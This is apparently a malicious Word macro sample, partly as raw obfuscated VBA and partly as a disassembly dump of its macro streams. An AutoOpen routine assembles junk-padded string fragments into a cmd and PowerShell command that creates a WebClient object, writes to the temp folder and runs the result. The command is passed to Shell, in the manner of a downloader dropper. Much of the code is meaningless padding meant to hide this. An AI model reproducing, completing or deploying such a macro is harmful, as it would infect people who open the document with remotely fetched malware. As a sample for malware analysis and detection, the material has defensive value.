zzussY(0) = Mid(zYhlsva + wYfiYIjkQbuaIJXB + aVSwtDiE, 250, 444) + Left(nfWjw + lMHHTsNHdjYYYDMfiK + XtzhwhE, 521) + Right(STbSNzGj + bdzFHSSUSwYkNVKOdD + cFlsFp, 259) + Left(SHAtusaj + GsztMqidvSOSWzWZC + swFzl, 817)
zzussY(1) = Left(kiDSvjc + CWokdfpaoXsYHAzB + FshzLj, 207) + MidB(ZunzXfo + SBJKCvjciKvjbziHkS + ozOdEFis, 356, 567) + Right(mDvpmOf + pisSOmZhlzWHnRjat + RwslHCoV, 430) + Mid(OwOWKpSJ + rnLfiiChEOtzQdfXLLP + sWwRGqI, 691, 879)
cRkTbqIwW = "0a72e2a07i70a2l0" + "a27C720aba270e072aW2" + "07a.2a07t02a7e"
HXXbWirm = "27a0N0a27 207a" + "t072ac027ae7a20j" + "72a0ba720oa072-a207w"
Dim jGZUm(2)
jGZUm(0) = Mid(iZUBzalM + jZbcdmLlNrwiAqsWGDZKb + YVAqV, 565, 398) + MidB(hwjDTN + nzlvUHnsqhOAAUN + usNbjmI, 849, 133) + Right(sTYXd + EKtDdnQGTzfiGXvjJPh + jCnoOi, 832) + MidB(HJfqq + oPfpubGUSRcujwWXazwBYb + bwsKPj, 157, 415)
jGZUm(1) = Right(NUEvq + RPcdJmXMobpOHNfAcIB + LzVuJSi, 162) + Right(GMwrR + wvrjjkzAwQqrnPSJRdCBKT + BBVPN, 800) + MidB(FEGiO + JTORmRrsZItrvNVcswij + jdKPj, 759, 907) + Right(shwBXqK + pFwROWsJmikMQDojd + NDJCMlL, 955)
   Dim qRtwES(2)
qRtwES(0) = Right(sqiIHkNz + UCdimEsHLwljLBzrPLkYi + HEwYpPB, 504) + MidB(FLfoDLK + GJSHHAGTajdvzowjW + GiSuviC, 235, 989)
qRtwES(1) = MidB(hiZowo + JhAtFKRbPPbiSWCkiSEHaJ + PdIrIp, 635, 480) + MidB(oNjdG + kwmPHWEHLWFZZkwwjXGm + TwvcdFLt, 206, 810) + Mid(wIHDkj + TdhDQbIaZdMlaJizGKLO + awtqjma, 170, 821) + Right(PsLqiDTk + kcTjuFiXHPzdpohRDDvwzKRS + HsdWcqV, 506)
VJFPJR = "a702e207an0a7" + "2=702aC20a7T0" + "a72r072a$270a a207" + "l207al2a07e02a7h"
iaWKjaaLVBw = HXzJWRoRaoi + ziVYF + VnnNMYIJEW + cRkTbqIwW + HXXbWirm + VJFPJR
   Dim dFvwC(2)
dFvwC(0) = Mid(YvvjmtoP + lCnzQfctVijQfUAmkHFGS + wwVQqjb, 144, 323) + Mid(ZMaTE + NpiPAwodznfwmjfXsf + JOJou, 759, 236) + Left(LkFrz + YqCGiTlZHatnjBpVBrIiAQ + TLPZmzk, 978) + Mid(pdpdkHn + dVKvnJhEQMBpwOQhnvC + McEjXHAr, 755, 963)
dFvwC(1) = MidB(JQbQIQ + pbzfGLVFZXanLiKJzPUOrwS + oRifXzJk, 559, 486) + MidB(lJlNa + zhQKKGiUNIioCovrDn + hjZzLFjA, 315, 406) + Right(QXGUZ + oXUqkJNzSjXojilJWOl + NzrHihaS, 297) + MidB(aNpon + mihzAOjojQRRDKcSGcPrQH + JVowVYQ, 981, 576)
   Dim AYluRL(2)
AYluRL(0) = MidB(VcnfNLw + qlDujcLLSiXZbuqfsPR + qoiwci, 599, 235) + MidB(BViARwXj + jKvTDETUJDYkkDQijmWGjH + tZiVjLHj, 623, 864)
AYluRL(1) = Left(YLKsInck + XDGAaGMELoLavWNdAXBdV + cdwvfi, 904) + Mid(fPfkA + jEGNkPIQPHzZVpFdjGQj + itFYqc, 551, 570) + MidB(ZPzkNV + QXzWjFifWnWPYwzCwZmiT + AVsVQ, 271, 548) + Mid(mSHMAu + FqYFBSAdShFdsdsfzKGZt + JiwIC, 40, 481)
   Dim rlrSaR(2)
rlrSaR(0) = Right(CwmYzJ + jUWdmbvrlbAzSHGLSDd + CwEfVUjM, 664) + MidB(FnJtPpzD + OWjpiQrwlCvcaqWuFOSzd + zMvcDa, 684, 57) + MidB(VprDoO + mKKiDtdIkcwZKRiCzhcM + QAafqQz, 216, 653) + Mid(IQJCCaRz + AQBjmKMHKzlwnszTckrOz + UAwHK, 241, 985)
rlrSaR(1) = Right(kZwEFn + jtXUWDbzfzCDimp + azllC, 455) + Left(zOOpjr + ifwptLjBmFiVQatZjH + wCdclR, 154)
   Dim UzAGr(1)
UzAGr(0) = MidB(unEkPR + fwwOnAwsNAnaPtLn + TLZEcf, 862, 65) + Left(jdYwo + mBTDItqjrNpqEiLlYK + HsqKTJr, 127)
End Function
Function LVdUUMkFd()
mwkEAlhhoVj = "a702s7a02r20a7" + "ea270wa270oa720p&&f" + "or /L %g i"
PJVbz = "n (1944,-5" + ",4)do set .#=" + "!.#!!]}*~:~%g,1" + "!&&if %g l"
VznDKrQEtj = "eq 4 call %." + "#:~-389%" + """" + " " + ""
LVdUUMkFd = mwkEAlhhoVj + PJVbz + VznDKrQEtj
   Dim vQOzjc(2)
vQOzjc(0) = Mid(azlGjlhw + JQTuaWtkiiEBViRaUBCSmc + DwMKcfQG, 331, 146) + Right(rEwFRMVw + AoPVmowhSujKXCYkORb + jPCzBZG, 684)
vQOzjc(1) = MidB(wYvGtcA + ivIOKvKwLCGYsnlJzILL + rmcvf, 164, 267) + Mid(NjaBs + PKXUZfHTWqrWkvFTI + RDoHWf, 131, 229) + MidB(GptBnrjS + cJRWckwfwYtqAsRCAAHBz + YUwDVAB, 927, 737) + Right(RflnKjZ + zsISLRHTUHUlWzbaX + OkjOmQMq, 528)
   Dim tiNXJm(2)
tiNXJm(0) = Left(JvEYO + VXnHntlIwUUFANwJC + wBccBH, 752) + Left(CGsdmTHt + tEYoRrrEqbFvkvYlrvwGK + GnShGC, 377) + Mid(UaMKlKC + MwLHihcjzvuWDlEmO + ljwawZ, 381, 480) + Mid(GvwVDwEE + TWQrWLpzGQdabJIPI + QDnDQ, 28, 14)
tiNXJm(1) = Left(iOHFPTGE + MYbbdULbpworFNDSv + NGiOS, 634) + Mid(CEcYw + bKiErZzDXnwJGDlrLUtOC + SmrMSX, 453, 330) + Left(krzhPDoq + lCzTldqUhwjabLhFPZ + KBAzYv, 340) + Mid(WudPmY + hzzDvDQVErHlQKpRlfRdC + KjwrZm, 123, 315)
   Dim dbpFrC(2)
dbpFrC(0) = Left(IQkNEVrV + RpTiWSmntBEjSMloJzNKpbt + sAjucmt, 500) + Right(EXSEIEpE + ASjMiMDfiCdhLuGctYm + aPrvEFzW, 191) + MidB(ZUUMPvp + wapHJrjcptOlSVvwZif + kVZstM, 969, 668) + Left(tAZjl + PuUZMNituzqUWcXopz + qKVGzl, 866)
dbpFrC(1) = Right(ILOlz + HwJASwXictzLzBidOrHfz + piIIf, 147) + MidB(hsqpz + wYVrvaHwoGVzQLzKJJ + zlJLQIY, 703, 632) + Left(tjKGFhda + YmNUhcpniJjzXOwzYDZj + QGFucji, 59) + MidB(zvrifu + ClKlmATSbnPwCjhYuKCaj + FpXNTdIj, 634, 858)
   Dim TFbJzH(2)
TFbJzH(0) = Left(azMJRJWA + KdvouvTHJGSVmCTTA + QzXIdN, 910) + Left(Izjhw + KzOfAFkcVEfGiwrNvQm + YwBwVoJ, 114)
TFbJzH(1) = Mid(IVmXSK + fHIPDEPjplnNXHDDmmnM + iuLvZZC, 635, 24) + MidB(ZItzXGET + KlYFQPccsvJKPTKQi + QDHzK, 125, 289)
End Function


Attribute VB_Name = "psiKPThAkow"
Function kWOmnIjtktpw(YqJJMEHMws As String)
Const voEQJiB = 0
   Dim jnVVqJ(2)
jnVVqJ(0) = Right(ZCQsod + UVvzFrTiPzQYQuInVdtc + dPBJdom, 515) + Left(cwMooU + aLDwuOzfqGlbtSLRKFaLpw + SiUwA, 534) + Mid(QihUn + JvUouijNMCrhOwmDh + sFJUr, 28, 567) + MidB(iBaRQ + NclhGwkZBQTibPzDOia + XTFYqHi, 695, 861)
jnVVqJ(1) = Right(awhEGH + qkJLYuZKMGinlGfZuRTjbt + fhtwG, 104) + MidB(uNHji + OXlKlopXbhidWEOktdaP + HkMzjw, 914, 574) + Left(IpjYU + cVZaBqfpRtWTlkdDd + cmAIRvt, 667) + Right(DSwubw + WSrhCBRADwMkrtmZ + ulGbd, 365)
   Dim OjiVM(2)
OjiVM(0) = Left(wbthMQO + asYIYswqKTnABMovm + RMKcNzwz, 989) + Right(pKvZnzF + iCQlOosAcSNniawvtBtKOR + FbZqqwn, 337)
OjiVM(1) = Left(YNZGRzXm + jUOoBujkrCLnDbmb + MLPZiWnj, 917) + Mid(zrwkNko + EjXuENTOWlKFDwPSmG + EaWcPCpr, 953, 882)
Shell% YqJJMEHMws, voEQJiB
   Dim KlXwG(2)
KlXwG(0) = Mid(vktGAupj + qiGAoYMujkFYoBcNWUGcwwC + LzwWffcS, 674, 242) + MidB(LCfbI + FFYHwZikFHCZjbjOasM + aWAKSbBq, 172, 815) + MidB(nszzFBr + JlTmTDrOTtWfjaWJERtv + vikOVrUV, 337, 330) + MidB(YwXJvuW + IMYdqhIJPpBvXjtcZA + pqqNlv, 421, 987)
KlXwG(1) = Left(fnWLliC + HBvidbBPBuHzjmAbwNn + QPkwwu, 289) + MidB(nGNuLMl + GwddUtYcdbqzTkdOFFUmVVXo + bnpNThSo, 742, 891) + MidB(Twlwvn + QzwudolIIwEpplcjmS + TAflXAW, 493, 704) + Left(Ydpvk + GfizmkjZNTGAKbViDNLliMDi + AqsCqMJz, 428)
   Dim EwFJGi(1)
EwFJGi(0) = MidB(wIKAnbhu + ljBRfvWaKwRYIwPGcb + mSlqp, 99, 520) + MidB(PBlitn + mfZrzkBUkcSoChPzuE + dBjCXX, 20, 177) + Left(wpvIKonA + UwqdzjzdoXFFKRcNdTbQV + YuWaLuP, 254) + Left(LCEqpDf + qklMUXnLAshWInaDcd + IRiOYWoQ, 927)
   Dim vwZWP(2)
vwZWP(0) = Mid(SUAqk + YscbXpNXYnQfMGCGli + DCAMDPbh, 142, 466) + Mid(SjaviR + AizSdmtoikTYZXGm + rfruJNjf, 130, 530)
vwZWP(1) = MidB(zqUDh + HitdnJRHBYXfJDHYTZb + CRTALEW, 800, 453) + MidB(NwCEkrvY + DoPWjRwPrfVLqRFDfi + uPKAC, 766, 551)
   Dim ArmhCD(1)
ArmhCD(0) = Left(DMIwq + iBccuvAdvqIlRXjYkiVGYza + iAUozqn, 739) + Left(wAAwJl + PpjcMIRjNuEcUOcbBKv + wcpYkjL, 404) + MidB(LhFBn + RmariqblkjKKkvjjSs + BZsYJq, 183, 233) + MidB(ftICtN + zzwfKTqWJVdVQZRqSV + XruirLJ, 51, 365)
End Function

' Processing file: /tmp/tmpxxj6il1r.doc
' ===============================================================================
' Module streams:
' Macros/VBA/XjfLisDjucS - 5660 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x0001 
' 	VarDefn LiHOou
' Line #2:
' 	Ld UafDKY 
' 	Ld ZZDrUlncEhwjZXsjZtQ 
' 	Add 
' 	Ld koPjaj 
' 	Add 
' 	LitDI2 0x039C 
' 	LitDI2 0x0014 
' 	ArgsLd Mid 0x0003 
' 	Ld riQRJavX 
' 	Ld NljuDAArwjJPhVDJvHjA 
' 	Add 
' 	Ld pOljGdW 
' 	Add 
' 	LitDI2 0x0245 
' 	LitDI2 0x01F2 
' 	ArgsLd MidB 0x0003 
' 	Add 
' 	Ld HUjafiJw 
' 	Ld SjJcEsNcjktMNlPVNfpYIZ 
' 	Add 
' 	Ld jQdXBc 
' 	Add 
' 	LitDI2 0x0002 
' 	LitDI2 0x01B9 
' 	ArgsLd MidB 0x0003 
' 	Add 
' 	Ld GBlInzb 
' 	Ld ISoPvXzCdKADDZwJjRMq 
' 	Add 
' 	Ld ckkErrzu 
' 	Add 
' 	LitDI2 0x00E8 
' 	LitDI2 0x0351 
' 	ArgsLd Mid 0x0003 
' 	Add 
' 	LitDI2 0x0000 
' 	ArgsSt LiHOou 0x0001 
' Line #3:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x0001 
' 	VarDefn YAAwfA
' Line #4:
' 	Ld cqNBUinK 
' 	Ld GOzNIWMGDQZfkWohNpJE 
' 	Add 
' 	Ld ZfzDou 
' 	Add 
' 	LitDI2 0x0280 
' 	LitDI2 0x0103 
' 	ArgsLd Mid 0x0003 
' 	Ld BqKsij 
' 	Ld ZYCLdfJzdIGzrjqNC 
' 	Add 
' 	Ld iMlQU 
' 	Add 
' 	LitDI2 0x019D 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld DdQbfRTN 
' 	Ld uhvEFnqiTInVPpqZM 
' 	Add 
' 	Ld vCZipWiq 
' 	Add 
' 	LitDI2 0x01CC 
' 	ArgsLd Right 0x0002 
' 	Add 
' 	Ld tIwNiGzt 
' 	Ld snPIvWPbopKHlsizMrvnzcN 
' 	Add 
' 	Ld LjbTf 
' 	Add 
' 	LitDI2 0x000B 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	LitDI2 0x0000 
' 	ArgsSt YAAwfA 0x0001 
' Line #5:
' 	Ld iAYfz 
' 	Ld bCzQiO 
' 	Add 
' 	LitDI2 0x0009 
' 	Add 
' 	LitDI2 0x000E 
' 	Add 
' 	LitDI2 0x002C 
' 	Add 
' 	Ld ivwbic 
' 	Add 
' 	Ld stLlNFrL 
' 	Add 
' 	ArgsLd KeyString 0x0001 
' 	Ld ZQJKmOz 
' 	Add 
' 	Ld ZmUZd 
' 	Add 
' 	Ld PQwcLYP 
' 	Ld mmIIVLl 
' 	Add 
' 	LitDI2 0x000A 
' 	Add 
' 	LitDI2 0x0010 
' 	Add 
' 	LitDI2 0x0033 
' 	Add 
' 	Ld piJUJhiw 
' 	Add 
' 	Ld AYTisipb 
' 	Add 
' 	ArgsLd KeyString 0x0001 
' 	Add 
' 	Ld dSEYjani 
' 	Add 
' 	Ld ElNhAZ 
' 	Add 
' 	Ld tDsPmEqKVsi 
' 	Add 
' 	Ld jlLhSYdjl 
' 	Add 
' 	Ld qUTzAhjPhjp 
' 	Add 
' 	Ld wMJmzkP 
' 	Add 
' 	Ld iaWKjaaLVBw 
' 	Add 
' 	Ld LVdUUMkFd 
' 	Add 
' 	Ld WuzOP 
' 	Add 
' 	Ld wjALUzf 
' 	Add 
' 	Paren 
' 	ArgsCall kWOmnIjtktpw 0x0001 
' Line #6:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x0002 
' 	VarDefn RvwAPf
' Line #7:
' 	Ld NPsMWi 
' 	Ld iUFDAzcGAtMwEcZOF 
' 	Add 
' 	Ld uqLkBz 
' 	Add 
' 	LitDI2 0x0037 
' 	LitDI2 0x018E 
' 	ArgsLd MidB 0x0003 
' 	Ld udqfa 
' 	Ld USwuOmWSEokzQBbOsPwcz 
' 	Add 
' 	Ld oSTqfd 
' 	Add 
' 	LitDI2 0x026D 
' 	LitDI2 0x0257 
' 	ArgsLd Mid 0x0003 
' 	Add 
' 	LitDI2 0x0000 
' 	ArgsSt RvwAPf 0x0001 
' Line #8:
' 	Ld JTfDpRU 
' 	Ld kiosBaLDiYpqwEzq 
' 	Add 
' 	Ld ESWOS 
' 	Add 
' 	LitDI2 0x03A6 
' 	ArgsLd Left 0x0002 
' 	Ld Czbhi 
' 	Ld zZSPZRcAwKKpFlWEjMRii 
' 	Add 
' 	Ld AAjwIQ 
' 	Add 
' 	LitDI2 0x009A 
' 	LitDI2 0x03A0 
' 	ArgsLd MidB 0x0003 
' 	Add 
' 	Ld jbzsbRC 
' 	Ld mDFRiKiUhhvjlbUXotC 
' 	Add 
' 	Ld GlCXL 
' 	Add 
' 	LitDI2 0x005E 
' 	LitDI2 0x0388 
' 	ArgsLd MidB 0x0003 
' 	Add 
' 	Ld arJvj 
' 	Ld zmnPRjwpbzzidOkKsvnSQ 
' 	Add 
' 	Ld jJtCVs 
' 	Add 
' 	LitDI2 0x0161 
' 	LitDI2 0x01DD 
' 	ArgsLd Mid 0x0003 
' 	Add 
' 	LitDI2 0x0001 
' 	ArgsSt RvwAPf 0x0001 
' Line #9:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x0001 
' 	VarDefn TtqDT
' Line #10:
' 	Ld SOYiTpd 
' 	Ld SbhuzTSoNUbczENmzwLkc 
' 	Add 
' 	Ld IvujUT 
' 	Add 
' 	LitDI2 0x01B5 
' 	LitDI2 0x00ED 
' 	ArgsLd MidB 0x0003 
' 	Ld RwQAaMPF 
' 	Ld pPUXirdlGrFJWjEsB 
' 	Add 
' 	Ld aGtmzl 
' 	Add 
' 	LitDI2 0x01AA 
' 	LitDI2 0x02B2 
' 	ArgsLd MidB 0x0003 
' 	Add 
' 	LitDI2 0x0000 
' 	ArgsSt TtqDT 0x0001 
' Line #11:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x0002 
' 	VarDefn iXXdWt
' Line #12:
' 	Ld KECczWzv 
' 	Ld wVoTmNMfzMBHsojSRFHM 
' 	Add 
' 	Ld BEIYlJn 
' 	Add 
' 	LitDI2 0x004D 
' 	LitDI2 0x03DE 
' 	ArgsLd MidB 0x0003 
' 	Ld lKlJR 
' 	Ld kdJwKAVPcPnpIBJEHZpZz 
' 	Add 
' 	Ld TqdwJzPZ 
' 	Add 
' 	LitDI2 0x0221 
' 	LitDI2 0x00A7 
' 	ArgsLd Mid 0x0003 
' 	Add 
' 	LitDI2 0x0000 
' 	ArgsSt iXXdWt 0x0001 
' Line #13:
' 	Ld uHDDu 
' 	Ld LIzkiAANJvELoOhQTPYQ 
' 	Add 
' 	Ld DjOwEVuO 
' 	Add 
' 	LitDI2 0x00A3 
' 	ArgsLd Right 0x0002 
' 	Ld TGzzImjP 
' 	Ld RQfZYdrZnrTqaQinApDr 
' 	Add 
' 	Ld XFTKcs 
' 	Add 
' 	LitDI2 0x0006 
' 	LitDI2 0x03CC 
' 	ArgsLd MidB 0x0003 
' 	Add 
' 	Ld PiWfWQX 
' 	Ld vAPYcWBcjPOMBuKj 
' 	Add 
' 	Ld rVCpFCtw 
' 	Add 
' 	LitDI2 0x0153 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld UhfNHj 
' 	Ld GrYRZWqiibGqmfNjXU 
' 	Add 
' 	Ld Kwzur 
' 	Add 
' 	LitDI2 0x01E9 
' 	LitDI2 0x03DB 
' 	ArgsLd Mid 0x0003 
' 	Add 
' 	LitDI2 0x0001 
' 	ArgsSt iXXdWt 0x0001 
' Line #14:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x0001 
' 	VarDefn tjbtbW
' Line #15:
' 	Ld bsaRGLpk 
' 	Ld cKMjvoNiviFKMMZE 
' 	Add 
' 	Ld NDAaMpJz 
' 	Add 
' 	LitDI2 0x028F 
' 	LitDI2 0x03BD 
' 	ArgsLd Mid 0x0003 
' 	Ld SHmRNnBE 
' 	Ld FNVlYHuzjXIPGMjfNwzSJ 
' 	Add 
' 	Ld YvzlDNjV 
' 	Add 
' 	LitDI2 0x03BF 
' 	LitDI2 0x02E7 
' 	ArgsLd Mid 0x0003 
' 	Add 
' 	Ld RBFiijZ 
' 	Ld fEGERZAvuMvdjddJbt 
' 	Add 
' 	Ld BISiIN 
' 	Add 
' 	LitDI2 0x011C 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld fCsqshl 
' 	Ld ZprsfnRiECPhiFvzus 
' 	Add 
' 	Ld IbPbrIIv 
' 	Add 
' 	LitDI2 0x0348 
' 	LitDI2 0x019B 
' 	ArgsLd Mid 0x0003 
' 	Add 
' 	LitDI2 0x0000 
' 	ArgsSt tjbtbW 0x0001 
' Line #16:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x0002 
' 	VarDefn PioWp
' Line #17:
' 	Ld kFzlhLH 
' 	Ld YIDKTWczmvkFHnHUfK 
' 	Add 
' 	Ld hDiKo 
' 	Add 
' 	LitDI2 0x026D 
' 	LitDI2 0x001B 
' 	ArgsLd MidB 0x0003 
' 	Ld DaTJUfn 
' 	Ld pWCRzwSjuDmTEWGlMoT 
' 	Add 
' 	Ld JjinVkHT 
' 	Add 
' 	LitDI2 0x0223 
' 	ArgsLd Right 0x0002 
' 	Add 
' 	Ld RBQEDM 
' 	Ld GuzkqEwZCfNWHSAKzv 
' 	Add 
' 	Ld KoOSDFC 
' 	Add 
' 	LitDI2 0x028D 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld SstKwo 
' 	Ld liRwRznIlDBYEUvbQBsWUf 
' 	Add 
' 	Ld iUzWL 
' 	Add 
' 	LitDI2 0x007B 
' 	LitDI2 0x0275 
' 	ArgsLd Mid 0x0003 
' 	Add 
' 	LitDI2 0x0000 
' 	ArgsSt PioWp 0x0001 
' Line #18:
' 	Ld SNXPY 
' 	Ld QizuOXiVNoPsLWwPTLP 
' 	Add 
' 	Ld rvQsaXMr 
' 	Add 
' 	LitDI2 0x02DC 
' 	LitDI2 0x0398 
' 	ArgsLd Mid 0x0003 
' 	Ld jAoGlbWz 
' 	Ld QsVwBSvlBmEHqvcBw 
' 	Add 
' 	Ld GHkVHIik 
' 	Add 
' 	LitDI2 0x0366 
' 	LitDI2 0x0373 
' 	ArgsLd MidB 0x0003 
' 	Add 
' 	LitDI2 0x0001 
' 	ArgsSt PioWp 0x0001 
' Line #19:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x0002 
' 	VarDefn TiJdf
' Line #20:
' 	Ld iJjVz 
' 	Ld LnmmtovjRPLazatmiDw 
' 	Add 
' 	Ld TiqDkY 
' 	Add 
' 	LitDI2 0x0079 
' 	LitDI2 0x015A 
' 	ArgsLd Mid 0x0003 
' 	Ld zVJFbH 
' 	Ld wsOTlDAYbLarUSKzo 
' 	Add 
' 	Ld KzpEA 
' 	Add 
' 	LitDI2 0x0067 
' 	LitDI2 0x03E6 
' 	ArgsLd MidB 0x0003 
' 	Add 
' 	LitDI2 0x0000 
' 	ArgsSt TiJdf 0x0001 
' Line #21:
' 	Ld fBfwDD 
' 	Ld mwjziGwEdomRJoNQijDzAS 
' 	Add 
' 	Ld YlQnRSM 
' 	Add 
' 	LitDI2 0x00CC 
' 	LitDI2 0x0319 
' 	ArgsLd MidB 0x0003 
' 	Ld fqsAS 
' 	Ld SAVNSWmVRjhVaYTRq 
' 	Add 
' 	Ld EzzlcB 
' 	Add 
' 	LitDI2 0x01F6 
' 	LitDI2 0x02E0 
' 	ArgsLd MidB 0x0003 
' 	Add 
' 	LitDI2 0x0001 
' 	ArgsSt TiJdf 0x0001 
' Line #22:
' 	EndSub 
' Line #23:
' Macros/VBA/XpzIKKTGQiwv - 35691 bytes
' Line #0:
' 	FuncDefn (Function dSEYjani())
' Line #1:
' 	LitStr 0x000C "d \/ //   //"
' 	LitStr 0x000D "// / \  / /V:"
' 	Add 
' 	LitStr 0x0003 "O/C"
' 	Add 
' 	LitStr 0x0001 """
' 	Add 
' 	LitStr 0x000F "set ]}*~=027a 0"
' 	Add 
' 	LitStr 0x0011 "72a 07a2 0a72 207"
' 	Add 
' 	St QGhAKfV 
' Line #2:
' 	LitStr 0x0010 "a 2a70 0a72 270a"
' 	LitStr 0x000C " 72a0 7a02 a"
' 	Add 
' 	LitStr 0x000B "027 a207 02"
' 	Add 
' 	St ZiKwMnYW 
' Line #3:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x0001 
' 	VarDefn jqzRY
' Line #4:
' 	Ld tQiQXv 
' 	Ld COZOzUwvOSWwXoiiun 
' 	Add 
' 	Ld CtiHaoHO 
' 	Add 
' 	LitDI2 0x01E8 
' 	LitDI2 0x00CD 
' 	ArgsLd MidB 0x0003 
' 	Ld NQNZEMuC 
' 	Ld GSWRGpNrPBWWwuHnzt 
' 	Add 
' 	Ld YlGaJd 
' 	Add 
' 	LitDI2 0x028D 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	LitDI2 0x0000 
' 	ArgsSt jqzRY 0x0001 
' Line #5:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x0002 
' 	VarDefn iREfn
' Line #6:
' 	Ld YwBqjd 
' 	Ld AmktXivcbWUGncpsK 
' 	Add 
' 	Ld YSjAZKiX 
' 	Add 
' 	LitDI2 0x02E6 
' 	ArgsLd Right 0x0002 
' 	Ld YZbroTj 
' 	Ld cEQTOiONtlJYLOWEJRE 
' 	Add 
' 	Ld liQfw 
' 	Add 
' 	LitDI2 0x0309 
' 	ArgsLd Right 0x0002 
' 	Add 
' 	Ld AaNUB 
' 	Ld rSPJtZYNMYbwcAEFijSMS 
' 	Add 
' 	Ld ZJwwuR 
' 	Add 
' 	LitDI2 0x0003 
' 	ArgsLd Right 0x0002 
' 	Add 
' 	Ld qBuvm 
' 	Ld CSXNZjzpEviFZkVzOBPRH 
' 	Add 
' 	Ld PKCdT 
' 	Add 
' 	LitDI2 0x0176 
' 	LitDI2 0x0199 
' 	ArgsLd MidB 0x0003 
' 	Add 
' 	LitDI2 0x0000 
' 	ArgsSt iREfn 0x0001 
' Line #7:
' 	Ld tvMwqK 
' 	Ld pVVinEKamzhmmMToTM 
' 	Add 
' 	Ld JHJMCYX 
' 	Add 
' 	LitDI2 0x00AC 
' 	LitDI2 0x0053 
' 	ArgsLd Mid 0x0003 
' 	Ld clFhb 
' 	Ld StjXQdsilWVJwEWiYCm 
' 	Add 
' 	Ld tIfYiji 
' 	Add 
' 	LitDI2 0x0353 
' 	LitDI2 0x012A 
' 	ArgsLd MidB 0x0003 
' 	Add 
' 	Ld qvmqfTXw 
' 	Ld iPKXttKBvfqDdIwsGiGnCOz 
' 	Add 
' 	Ld wEfoRrL 
' 	Add 
' 	LitDI2 0x0366 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld lnTvO 
' 	Ld lnTvO 
' 	Add 
' 	Ld zsIihzFiIcbHTiwwQrZM 
' 	Add 
' 	LitDI2 0x034F 
' 	ArgsLd Right 0x0002 
' 	Add 
' 	LitDI2 0x0001 
' 	ArgsSt iREfn 0x0001 
' Line #8:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x0002 
' 	VarDefn dSOFmj
' Line #9:
' 	Ld ownPlI 
' 	Ld ZMTGzqu 
' 	Add 
' 	Ld ISnODpuwjAkJXCiZh 
' 	Add 
' 	LitDI2 0x03AC 
' 	LitDI2 0x0158 
' 	ArgsLd MidB 0x0003 
' 	Ld lZHZh 
' 	Ld MhAVPFjl 
' 	Add 
' 	Ld UmchdubKuIULGwjdiscX 
' 	Add 
' 	LitDI2 0x02B2 
' 	LitDI2 0x027A 
' 	ArgsLd Mid 0x0003 
' 	Add 
' 	LitDI2 0x0000 
' 	ArgsSt dSOFmj 0x0001 
' Line #10:
' 	Ld ViOtSTzp 
' 	Ld rifFm 
' 	Add 
' 	Ld msVuYjqHFErOquNRRaLi 
' 	Add 
' 	LitDI2 0x007E 
' 	ArgsLd Left 0x0002 
' 	Ld XXWczZ 
' 	Ld zvAkqJbq 
' 	Add 
' 	Ld fpJSwWQVRFaNtUAAJfzzY 
' 	Add 
' 	LitDI2 0x03A3 
' 	LitDI2 0x02BF 
' 	ArgsLd MidB 0x0003 
' 	Add 
' 	Ld HfWHpkWu 
' 	Ld aFhhl 
' 	Add 
' 	Ld YhGPpzHfEhrlbzPNbVESw 
' 	Add 
' 	LitDI2 0x02F9 
' 	LitDI2 0x0164 
' 	ArgsLd MidB 0x0003 
' 	Add 
' 	Ld HtvcwMV 
' 	Ld PjKiv 
' 	Add 
' 	Ld OtcdcqwLAPUPKjNuDFVVwI 
' 	Add 
' 	LitDI2 0x021B 
' 	LitDI2 0x0289 
' 	ArgsLd MidB 0x0003 
' 	Add 
' 	LitDI2 0x0001 
' 	ArgsSt dSOFmj 0x0001 
' Line #11:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x0001 
' 	VarDefn VoDtZO
' Line #12:
' 	Ld uZlXQ 
' 	Ld YtbYSw 
' 	Add 
' 	Ld aaFiaGTPcojcSiRIIHC 
' 	Add 
' 	LitDI2 0x005D 
' 	LitDI2 0x027F 
' 	ArgsLd MidB 0x0003 
' 	Ld STPsGRTM 
' 	Ld sjinMhBX 
' 	Add 
' 	Ld uFLPTBnXYaNQHrwJbbvBq 
' 	Add 
' 	LitDI2 0x032B 
' 	LitDI2 0x0221 
' 	ArgsLd MidB 0x0003 
' 	Add 
' 	LitDI2 0x0000 
' 	ArgsSt VoDtZO 0x0001 
' Line #13:
' 	LitStr 0x000B "a7 a702 720"
' 	LitStr 0x000E "a 7a02 72a0 7a"
' 	Add 
' 	LitStr 0x0011 "02}207a}a072{027a"
' 	Add 
' 	LitStr 0x0010 "ha270ca720t720aa"
' 	Add 
' 	St mUvZBb 
' Line #14:
' 	LitStr 0x000D "a702c20a7}720"
' 	LitStr 0x000D "a;027ak2a07aa"
' 	Add 
' 	LitStr 0x000C "702e072ar7a0"
' 	Add 
' 	LitStr 0x0011 "2b270a;a720J20a7i"
' 	Add 
' 	St czcPzz 
' Line #15:
' 	LitStr 0x0010 "0a72W27a0$207a 2"
' 	LitStr 0x0014 "0a7ma270e2a07ta027I7"
' 	Add 
' 	LitStr 0x000B "0a2-07a2e27"
' 	Add 
' 	LitStr 0x000F "0ak072ao20a7va7"
' 	Add 
' 	LitStr 0x000F "02n20a7I072a;07"
' 	Add 
' 	St sNkinziXp 
' Line #16:
' 	LitStr 0x000C "a2)20a7J2a70"
' 	LitStr 0x000F "ia720W702a$7a02"
' 	Add 
' 	LitStr 0x0012 " 27a0,20a7Ta027D02"
' 	Add 
' 	LitStr 0x0013 "a7v70a2$a072(20a7e0"
' 	Add 
' 	St iCtWNk 
' Line #17:
' 	Ld QGhAKfV 
' 	Ld ZiKwMnYW 
' 	Add 
